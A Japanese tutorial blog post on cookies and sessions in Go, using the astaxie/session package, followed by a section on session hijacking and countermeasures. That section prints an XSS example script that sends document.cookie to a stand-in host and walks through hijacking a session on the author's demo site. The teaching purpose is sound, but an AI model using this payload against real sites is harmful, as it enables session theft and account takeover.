goでWebサービス No.6(cookieとsession)

21 min read読了の目安(約19500字

今回はcookieとsessionについてです。

注意

コマンドラインを使った操作が出て来ることがあります。cd, ls, mkdir, touchといった基本的なコマンドを知っていることを前提に進めさせていただきます。
環境の違いで操作や実行結果に差異が出てくる可能性があります。私の実行環境は以下になります。

MacBook Pro (Early 2015)
macOS Catalina ver.10.15.6
go version go1.14.7 darwin/amd64
エディタはVScode

概要

ひと昔前のウェブは情報を表示する場所でした。そのような一方向に情報が流れる状況ではユーザがどのようにページ遷移をし、どのようなものを閲覧したかどうかはあまり重要ではありません。なのでユーザの状態をサーバが知る必要はなくステートレスなHTTPプロトコルで事足ります。

しかし、昨今のようにユーザの状態によって表示するものを変えるウェブアプリケーションなどの登場によってユーザの状態を知る必要が出てきました。またユーザのニーズを知り最適なサービスを提供するためなどビジネス的なコンテキストからもユーザの状態を知る術が必要になっています。

ユーザの状態を知るための解決方法としてcookieとsessionがあります。

  • cookie: クライアント側のメカニズム
  • session: サーバ側のメカニズム

この二つについて見ていきましょう。

Cookie

使ってみて理解する

cookieはクライアントのブラウザが保持するユーザの履歴情報です。cookieはcookieの作成を要求したサイトごとに作られます。一つのcookieにはそのサイトに関する履歴情報が残されます(ログイン情報も含みます)。
cookieはサイトによって作成されクライアントのブラウザに保存されます。少し試してみましょう。簡単な方法はhtmlファイルに記述する方法です。以下のようにheadタグに対してmetaタグによって埋め込むことができます。

<!-- code:web6-1 -->
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Set-Cookie" content="id=golang;">

    <title>掲示板</title>
</head>

これを実行すると以下のようなエラーになります。どうやらモダンなブラウザではいろいろ制約の多いcookieからWebStorageAPIなどに以降していっているようで、cookieの扱いが変わってきているようです。chromeやsafariの場合はブロックするようになっています。

chrome console
Blocked setting the `id=golang;` cookie from a `<meta>` tag.

Cookie は、クライアント側の汎用的な記憶領域として使用されたことがあります。これは他にクライアントへデータを保存する手段がなかった頃は合理的でしたが、現在では新しいストレージ API を使用することが推奨されています。 Cookie はすべてのリクエストで送信されるので、 (特にモバイルデータ通信で) 性能を悪化させる可能性があります。クライアントストレージ向けの新しい API として、Web Storage API (localStorage および sessionStorage) と IndexedDB があります。
引用:MDN Web docs

JavaScriptによる設定はできるようなので以下のようにJavaScriptで設定します。

<!-- code:web6-2 -->
<script>
    document.cookie = "id=golang; Expires=Wed, 31 Oct 2021 07:28:00 GMT;";
    document.cookie = "password=5555; Max-Age=60;";
</script>

このスクリプトを埋め込んだサイトをchormeブラウザで開くとcookieが設定されます。chromeブラウザの設定画面から取得しているcookieを確認することが出来ます。
cookie1
cookie2

上でみたようにcookieには名前(Name)=コンテンツ(Value)という形で保持したい値を設定出来ます。合わせて下のような物も設定出来ます(上で使用したMax-Ageのように他にもいくつかあります)。

  • Domain:ブラウザがクッキー値を送信するサーバのドメイン
  • Path:ブラウザがクッキー値を送信するURLのでディレクトリ
  • Expires:クッキー値有効期限。指定しない場合はブラウザの終了まで
  • Secure:SSLの場合のみクッキーを送信する
  • HttpOnly:この属性が指定されたクッキーはJavaScriptからアクセスできない

cookieは主に以下の3つの用途で用いられます。

  • セッション管理
    ログイン、ショッピングカート、ゲームのスコア、またはその他のサーバーが覚えておくべきもの
  • パーソナライゼーション
    ユーザー設定、テーマ、その他の設定
  • トラッキング
    ユーザーの行動の記録及び分析

Goでcookieを使う

Goでのcookieを使うのは簡単です。標準パッケージがcookieに対応しているのでそれを使います。レスポンスにcookieを設定するのでハンドラーで設定してあげるといいです。具体的には以下のようになります。

// code:web6-3
func handler(w http.ResponseWriter, r *http.Request) {
    // cookieの設定
    expiration := time.Now()
    expiration = expiration.AddDate(0, 0, 1)
    cookie := http.Cookie{Name: "username", Value: "golang", Expires: expiration}
    http.SetCookie(w, &cookie)
    // クライアントからきたリクエストに埋め込まれているcookieの確認
    for _, c := range r.Cookies() {
        log.Print("Name:", c.Name, "Value:", c.Value)
    }

    if err := t.Execute(w, nil); err != nil {
        log.Printf("failed to execute template: %v", err)
    }
}
  • cookieの設定
    cookieの設定にはhttp.Cookieを使います。レスポンスに埋め込むにはhttp.SetCookieを使います。
    これをchromeブラウザで開きます。設定のところからcookieをみると設定したcookieが保存されていると思います(画像は割愛)。

    ちなみにhtmlファイルを見てもcookieの情報はありません。ではどこに埋め込まれているかというと以下のようにレスポンスのヘッダー部分です(htmlのヘッダーではありません)。

    $ curl --verbose http://localhost:52851
    *   Trying ::1:52851...
    * TCP_NODELAY set
    * Connected to localhost (::1) port 52851 (#0)
    > GET / HTTP/1.1
    > Host: localhost:52851
    > User-Agent: curl/7.68.0
    > Accept: */*
    > 
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 200 OK
    < Set-Cookie: username=golang; Expires=Mon, 26 Oct 2020 08:38:28 GMT
    < Date: Sun, 25 Oct 2020 08:38:28 GMT
    < Content-Type: text/html; charset=utf-8
    < Transfer-Encoding: chunked
    <
  • クライアントからきたリクエストに埋め込まれているcookieの確認
    クライアントのリクエストで送られてきたcookieを確認するにはr.Cookie("Name")で取得する方法、複数ある場合は上のコードのようにr.Cookies()をループで回す方法があります。

    $ realize start
    [08:35:51][APP] : 2020/10/25 08:35:51 Name:usernameValue:golang
    

session

sessionとは

通信における一般的なセッションは通信の開始から終了までをいいます。会話でいうと「こんにちは」や「さようなら」と言った一つ一つの会話ではなく、お店でばったりあった友人との「やあ!何してるの?」から「じゃあまた今度な!」までといった一連の会話の流れを一つのセッションとします。

ウェブでのセッションは一般的に一つのサイトで行う一連の流れです。多くの場合ログインからログアウトまでがこの一連の流れに当てはまるでしょう。
以前goでWebサービス No.1で話しましたが、HTTP通信の場合は

  • 通信経路の確立
  • 処理(ページの取得や書き込みの送信など単一の処理)
  • 通信の切断

の流れで行われます。一つ一つの処理でウェブサーバとの通信は切断され、さらにHTTPはステートレスなプロトコルなので前回の状態を保持しません。例えば、とあるショッピングサイトで最初にログイン処理を行いショッピングカートのページに移動します。前回の情報を保持しないのでもちろん認証の情報も残ってはいません。その後決算のページに移動した時には認証の情報は失われているのでセキュリティの観点からブロックされてしまいます。

サーバサイド側でこの問題を解決するためのソリューション(解決策)がここでいうsessionになります。

サーバサイドで一つのsessionを管理する方法は考え方としてはあまり難しくありません。クライアントとのやりとりをサーバ側が保存しておけばいいのです。しかしただ履歴を保存しておくだけではクライアントを識別したり出来なくなるのである程度仕組みを考える必要はあります。大まかに2つのことを実現する必要があります。

  • クライアントの識別
  • セッションデータの保存

クライアントの識別

ウェブサーバには複数のクライアントが接続してきます。sessionを保存するにはセッションデータとクライアントを結びつける仕組みが必要です。そこで登場するのがSessionIDです。これはサイトに訪れたクライアントに渡す許可証のようなもので、例えばランダムな文字列などを生成し、それを先ほど紹介したcookieなどを通してクライアントに渡します。ウェブサーバの方ではSessionIDと関連したクライアントの情報(例えばショッピングカートの中身など)を一緒にしてセッションデータとして保存します。
こうすることで次回以降はクライアントは接続の際にcookieをウェブサーバに送信し、ウェブサーバは送られてきたcookieのSessionIDを確認し、保存したセッションデータの中に該当のSessionIDが存在するかどうかで自動的に認証をします。

他のクライアントとSessionIDが被ったり、同じクライアントでもセッションの度に同じSessionIDが発行されたりするとなりすましの危険性があり困ります。または容易に推測されるような物も同様です。SessionIDにこれを使うという決まりがあるわけではないと思いますが、これらの危険性をクリアできるようにグローバルで重複のないユニークなIDを生成する必要があります。

場合によってはSessionIDに有効期限を設定するかもしれません。cookieには有効期限を設定出来ますがクライアントが管理するメカニズムなので改竄の余地があります。なのでウェブサーバ側でもSessionIDの有効期限を管理し、期限切れのセッションを破棄する処理も必要です。

セッションデータの保存

セッションデータの構造には決まりがあるわけではありません。どのようなデータを保持させるかも自由です。一般的にはメモリに保持するようです。しかしメモリは一旦電源が落ちる(またはサーバが再起動する)と全てのセッションデータが消失します。
これが困る場合はセッションデータをファイルストレージやデータベースに書き込む方法もあります。この場合読み書きのオーバーヘッドが発生します。しかしsessionの永続化や他のサーバとのsessionの共有が可能になります。

セッションデータとしてSessionID以外にどのようなデータを保持するかは私は学びたてなので言及出来ません。しかしウェブサーバはインターネットと直接つながっているので情報漏洩の危険性があることは考慮しておくべきだと思います。

sessionの実装

上のことを踏まえるとsession管理を実装するには以下のような観点を踏まえる必要があります。

  1. グローバルでユニークなsessionIDの保証
  2. クライアントにsessionを関連付ける
  3. sessionの保存
  4. sessionの期限切れ処理

sessionの実装は少し大掛かりになるのでここでは実装しません。またcookieと異なり、Goの標準パッケージはsessionをサポートしていません。なので次では、サードパーティ製のパッケージを使用してsessionの振る舞いを確認し、理解を深めようと思います。

Goでsessionを使う

Goは標準パッケージがsessionをサポートしていないので、サードパーティ製のものを使用します。今回使用するのはastaxie/sessionです。新しいリポジトリに移されてずいぶんメンテナンスしてありませんが、逆にシンプルなままなのでsessionの仕組みをしるには最適です。また、こちらで解説もされているので私のような駆け出しエンジニアでも詳しい実装を知ることが出来ます。
人が作ったものを私が解説するのも変なのでパッケージの詳細は上であげたサイトをみてもらうとして、今回はそれを使ってみることにします。

訪問する度に訪問回数がカウントされるページ

このパッケージを使って訪問する度にカウントが増えていくページを作ってみましょう。初めて訪れたクライアントにはcookieを使ってsessionIDを発行します。2回目以降はリクエストにあるcookieのsessionIDを確認しウェブサーバ上で管理しているsessionと照らしあわせて保持している値をインクリメントします。やってみましょう。

main関数に記述していきます。

importを行ったらinit関数で初期化します。init関数はGoにおける特別な関数で実行時最初に一度だけ実行されます。[1]ここでは、いろいろなクライアントを含めたグローバルなセッションを管理するglobalSessions変数をNewManager関数で初期化しています。これと同時に並列処理で期限切れのセッションを破棄するGC()メソッドも実行しています。

main.go
// code:web6-4
import (
    "github.com/astaxie/session"
    _ "github.com/astaxie/session/providers/memory"
)

var globalSessions *session.Manager

func init() {
	globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
	go globalSessions.GC()
}

カウントを表示するcountハンドラーを定義します。

  1. SessionStartはリクエストのcookieを確認し、なければ新しいsessinIdを作成し、それを元に新しいsessionを作成し、レスポンスに付与します。あればcookie内のsessionIdから保存していsessionを読み込みます。どちらも処理が終わるとsessionをリターンし、ここではsess変数に渡します。
  2. sessは{sessionId, timeAccessed, value}の構造を持ち{Set, Get, Delete, SessionId}の4つメソッドを持ちます。変数ctにGetメソッドでsessが持っているvalueを取得します。
    初めての場合取得出来ないのでnilになります。その場合はSetメソッドで"countnum"というkeyと1というvalueを設定します(valueはmap型で定義されています)。
    そうでない場合はインクリメントした値をSetメソッドでセットします。
  3. 最後にGetメソッドで取得した値をテンプレートに埋め込んでいます。
main.go
// code:web6-5
func count(w http.ResponseWriter, r *http.Request) {
	sess := globalSessions.SessionStart(w, r)  // ①
	ct := sess.Get("countnum") // ②
	if ct == nil {
		sess.Set("countnum", 1)
	} else {
		sess.Set("countnum", (ct.(int) + 1))
	}
	t, _ := template.ParseFiles("public/count.html")
	w.Header().Set("Content-Type", "text/html")
    // ③
	t.Execute(w, sess.Get("countnum"))
}

これがsessionを使った一つの例になります。せっかくなのでsessionの実装のところであげたことについても少しソースコードをみて確認してみましょう。

  1. グローバルでユニークなsessionIDの保証
    これに関しては以下の関数でsessionIDを生成することで実現しています。crypto/randパッケージを用いて32byteの乱数を生成しています。これはGUIDと呼ばれるもので生成された乱数が衝突する確立は極めて稀なのでグローバルでユニークな値として使用されています。

    <!-- code:web6-6 -->
    func (manager *Manager) sessionId() string {
        b := make([]byte, 32)
        if _, err := io.ReadFull(rand.Reader, b); err != nil {
            return ""
        }
        return base64.URLEncoding.EncodeToString(b)
    }
    
  2. クライアントにsessionを関連付ける
    これは先ほどのSessionStartメソッドで実現しています。新規のクライアントにはsessionIDの生成をし、sessionを作成します。またcookieを使用してクライアントにsessionIDを付与します。
    すでにsessionIDを持っているクライアントには対応するsessionを返します。

    <!-- code:web6-7 -->
    func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        // リクエストのcookieを確認
        cookie, err := r.Cookie(manager.cookieName)
        if err != nil || cookie.Value == "" {
            // セッションIDが確認されなければ、新しく発行
            sid := manager.sessionId()
            session, _ = manager.provider.SessionInit(sid)
            cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
            http.SetCookie(w, &cookie)
        } else {
            // セッションIDが確認されたら対応するセッションを返す
            sid, _ := url.QueryUnescape(cookie.Value)
            session, _ = manager.provider.SessionRead(sid)
        }
        return
    }
    
  3. sessionの保存
    今回はsessionの保存にはメモリが使用されています。そのためcontainer/listパッケージが使われています。Providerという構造体を使ってかくセッションデータが格納されているメモリにアクセスしているようです。

    type Provider struct {
        lock     sync.Mutex               //用来锁
        sessions map[string]*list.Element //用来存储在内存
        list     *list.List               //用来做gc
    }
    
  4. sessionの期限切れ処理
    これも先ほどいったGCメソッドで実現しています。簡単に説明すると現在の時刻がmaxlifetimeから算出された時間を過ぎていたらそのsessionをlistから破棄するような処理が書かれています。

    <!-- code:web6-8 -->
    func (manager *Manager) GC() {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        manager.provider.SessionGC(manager.maxlifetime)
        time.AfterFunc(time.Duration(manager.maxlifetime)*time.Second, func() { manager.GC() })
    }
    
    func (pder *Provider) SessionGC(maxlifetime int64) {
        pder.lock.Lock()
        defer pder.lock.Unlock()
    
        for {
            element := pder.list.Back()
            if element == nil {
                break
            }
            if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
                pder.list.Remove(element)
                delete(pder.sessions, element.Value.(*SessionStore).sid)
            } else {
                break
            }
        }
    }
    

セッションハイジャック

サーバサイドのsession、クライアントサイドのcookieの双方でsessionIDを持つことでサーバがクライアントを識別するセッションの仕組みはセキュリティの面で問題を抱えています。
それがセッションハイジャックです。セッションハイジャックはsessionIDが盗まれることで発生します。サーバはsessionIDでクライアントを識別しています。そのためsessionIDが盗まれるとセッションが乗っ取られることになります。
以下のサイトで実際にセッションハイジャックをすることができます。
サイト
このサイトは私が作ったサイトでcookieとsessionを使ってクライアントの訪問回数をカウントしています。cookieの有効期限は1時間となっています。

  1. このサイトに何度かアクセスしてみて、カウントの回数を増やしてみてください。その後ブラウザの設定などからこのサイトのcookieを確認することができると思うので、gosessionidの値をコピーしてください。
    chrome cookie

  2. 別のブラウザでまた同じサイトを開いてください。cookieはブラウザごとに保存されるのでカウントは最初からだと思います。このブラウザでも設定を開きこのサイトのcookieのgossessionidに先ほどコピーした値を貼り付けて再度サイトにアクセスしましょう。おそらく①でアクセスした回数の続きになると思います。つまりセッションが乗っ取られたということです。

sessionIDを盗む方法はいくつかあります。

sessionIDを推測

これは単純なsessionIDを使用した場合に起こります。例えばuserIDをそのままsessionIDに使用したり、md5でハッシュ化していても単純なソルトの追加しかしてない場合は推測される可能性があります。

sessionIDを盗む

XSSのような攻撃でcookieを悪意のある第三者に送信させることでsessionIDを盗むことができます。
例えば以下のように投稿できるサイトに以下のような文章を投稿するとXSSの対策がされていないサイトではスクリプトとして認識されcookieが第三者のサイトに送信されてしまいます。

投稿する文章
<script type="text/javascript">
var img = new Image();
img.src = "http://example.com/A/send_cookie?" + document.cookie;
</script>

sessionID固定化攻撃(session fixation attack)

これまでが相手のsessionIDを盗むのに対してこれは自分のsessionIDを相手のcookieに埋め込むことでセッションを盗みます。
悪意のある第三者はまず普通にサイトを利用して自分のsessionIDを取得します。
このsessionIDを例えばスクリプトを使ったり何らかの方法で利用者のcookie内の値と書き換えます。これにより第三者のセッションと共通のものを使うことになるのでセッションが乗っ取られることになります。

対策

ここでは簡単に実装できる対策を試してみる。

  • トークンの使用
    一度きりしか使用しないトークンを発行する。これはフォームでの二重送信防止に使われる技術と同じものでサーバサイドでアクセスの度に新しいトークンを発行する。ここでいうトークンは推測されにくいランダムな文字列である。クライアントは次のリクエストを送るときにこのトークンも一緒に送る。
    サーバサイドは送られてきたトークンを照合して一致すれば、処理を実行し、新たなトークンをクライアントに送る。

    このようにすればクライアントがリクエストを送る度にトークンが変化するので、もしsessionIDとトークンが盗まれたとしても悪用される前にリクエストを送っていればトークンが変わっているので悪用できません。以下はcode:web6-5にそれを実装した例です。今回はページの取得だけなのでGETメソッドだけです。なのでトークンもcookieに埋め込んでいます。フォームからのPOSTメソッドの場合はトークンをhiddenタイプでボディに埋め込んでも良いかもしれません。

    // code:web6-9
    var tokens []string
    func count(w http.ResponseWriter, r *http.Request) {
        r.ParseForm()
    
        sess := globalSessions.SessionStart(w, r)
        t, _ := template.ParseFiles("public/count.html")
        w.Header().Set("Content-Type", "text/html")
        log.Println("sessionId: ", sess.SessionID())
        to, err := r.Cookie("token")
        if err != nil || to.Value == "" {
            // tokenがない場合(初めてのアクセス)
            log.Println("no token.")
            globalSessions.SessionDestroy(w, r)
            sess = globalSessions.SessionStart(w, r)
            sess.Set("countnum", 1)
            token := createToken()
            tokens = append(tokens, token)
            cookie := http.Cookie{Name: "token", Value: token}
            http.SetCookie(w, &cookie)
            t.Execute(w, sess.Get("countnum"))
        } else {
            if contain(tokens, to.Value) {
                // tokenが一致した場合
                log.Println("contain tokens:", tokens, "get token:", to.Value)
                // *
                ct := sess.Get("countnum")
                if ct == nil {
                    sess.Set("countnum", 1)
                } else {
                    sess.Set("countnum", (ct.(int) + 1))
                }
                // 現在のtokenの削除
                tokens = removeToken(tokens, to.Value)
                token := createToken()
                tokens = append(tokens, token)
                cookie := http.Cookie{Name: "token", Value: token}
                http.SetCookie(w, &cookie)
                t.Execute(w, sess.Get("countnum"))
            } else {
                // tokenが一致しなかった場合
                log.Println("no contain tokens:", tokens, "get token:", to.Value)
                globalSessions.SessionDestroy(w, r)
                sess = globalSessions.SessionStart(w, r)
                sess.Set("countnum", 1)
                token := createToken()
                tokens = append(tokens, token)
                cookie := http.Cookie{Name: "token", Value: token}
                http.SetCookie(w, &cookie)
                t.Execute(w, sess.Get("countnum"))
            }
        }
    }
    func contain(tokens []string, token string) bool {
        for _, to := range tokens {
            if to == token {
                return true
            }
        }
        return false
    }
    func createToken() string {
        h := md5.New()
        salt := "golang%^7&8888"
        io.WriteString(h, salt+time.Now().String())
        return fmt.Sprintf("%x", h.Sum(nil))
    }
    func removeToken(tokens []string, token string) (newTokens []string) {
        for _, to := range tokens {
            if to != token {
                newTokens = append(newTokens, to)
            }
        }
        return
    }
    

    この実装では、アクセスの度にアクセスしてきたクライアントのsessionIDそれからサーバが持っているトークン一覧(tokens)、クライアントのトークン(get token)を出力するようにしています。これに対してセッションハイジャックを行った結果が以下になります。

    1. [03:35:51][APP] : 2020/10/28 03:35:51 sessionId:  Z9iwydId6FuN5QMhGHnQdjDT-cetqCdgS_ER4V3YA2A=
    [03:35:51][APP] : 2020/10/28 03:35:51 contain tokens: [d141217e8299dd449c5becbc01b1c809] get token: d141217e8299dd449c5becbc01b1c809
    2. [03:35:52][APP] : 2020/10/28 03:35:52 sessionId:  Z9iwydId6FuN5QMhGHnQdjDT-cetqCdgS_ER4V3YA2A=
    [03:35:52][APP] : 2020/10/28 03:35:52 contain tokens: [2abb642e3a08b351db03681d5b0910bf] get token: 2abb642e3a08b351db03681d5b0910bf
    3. [03:35:54][APP] : 2020/10/28 03:35:54 sessionId:  Z9iwydId6FuN5QMhGHnQdjDT-cetqCdgS_ER4V3YA2A=
    [03:35:54][APP] : 2020/10/28 03:35:54 contain tokens: [8630c647626c23f55f5feae1043c71d6] get token: 8630c647626c23f55f5feae1043c71d6
    4. [03:35:58][APP] : 2020/10/28 03:35:58 sessionId:  q7juNvSR2YxxMb0K_vbGlvkCZN2Pofk8B-5cxWB2C2U=
    [03:35:58][APP] : 2020/10/28 03:35:58 no token.
    5. [03:37:29][APP] : 2020/10/28 03:37:29 sessionId:  Z9iwydId6FuN5QMhGHnQdjDT-cetqCdgS_ER4V3YA2A=
    [03:37:29][APP] : 2020/10/28 03:37:29 contain tokens: [54b665233988c0623fa0cc0a9c11c6d6 b411a79d6801e18e77e01eda838017eb] get token: 54b665233988c0623fa0cc0a9c11c6d6
    6. [03:38:12][APP] : 2020/10/28 03:38:12 sessionId:  Z9iwydId6FuN5QMhGHnQdjDT-cetqCdgS_ER4V3YA2A=
    [03:38:12][APP] : 2020/10/28 03:38:12 no contain tokens: [b411a79d6801e18e77e01eda838017eb 625fdfa2194c71a73050d53aa9acccf2] get token: 54b665233988c0623fa0cc0a9c11c6d6
    

    sessionID:q7juNvSR2YxxMb0K_vbGlvkCZN2Pofk8B-5cxWB2C2U=がジャックする側
    sessionID:Z9iwydId6FuN5QMhGHnQdjDT-cetqCdgS_ER4V3YA2A=がジャックされる側
    4.でジャックする側が一度普通にアクセスしています。このあと何らかの方法を使ってジャックされる側のsessionIDとトークンを取得します。その間にジャックされる側は運よく5.でアクセスしています。その後6.でジャックする側は盗んだsessionIDとトークンを使ってアクセスしていますがすでにトークンが変わっているのでno contain tokensで弾かれています。

  • 定期的にSessionIDを更新する
    sessionIDを定期的に更新することでも一定の効果が望めます。実装も簡単で例えば同じようにweb6-5を例にするなら以下のようになります。

    // code:web6-10
    func count(w http.ResponseWriter, r *http.Request) {
        sess := globalSessions.SessionStart(w, r)
        createtime := sess.Get("createtime")
        if createtime == nil {
            sess.Set("createtime", time.Now().Unix())
        } else if (createtime.(int64) + 60) < (time.Now().Unix()) {
            globalSessions.SessionDestroy(w, r)
            sess = globalSessions.SessionStart(w, r)
        }
        ct := sess.Get("countnum")
        if ct == nil {
            sess.Set("countnum", 1)
        } else {
            sess.Set("countnum", (ct.(int) + 1))
        }
        t, _ := template.ParseFiles("public/count.html")
        w.Header().Set("Content-Type", "text/html")
        t.Execute(w, sess.Get("countnum"))
    }
    

    ここでは1分ごとにsessionIDを更新しています。注意が必要なのはsessionで管理されているcountnum等のデータは更新とともになくなってしまうので、データの永続化が必要ならDBなどに保存する必要があります。

ここでは簡単に実装できるものを上げましたが他にも対策はあるようなので調べてみると良いでしょう。また、実際はセキュリティに対する十分な知識がない場合は安易に自分で実装せずにフレームワークなど専門家が作ったものを使用する方が安全です。ただ、使用する上でもある程度の理解は必要だと思うので実務と関係ない部分で私のように実装してみるのは良いことだと思います。

脚注
  1. 順番としては 変数の初期化→init()→main() という順番で実行されるみたいです。パッケージなどを含んだ場合は、処理系で前後があるようです。 ↩︎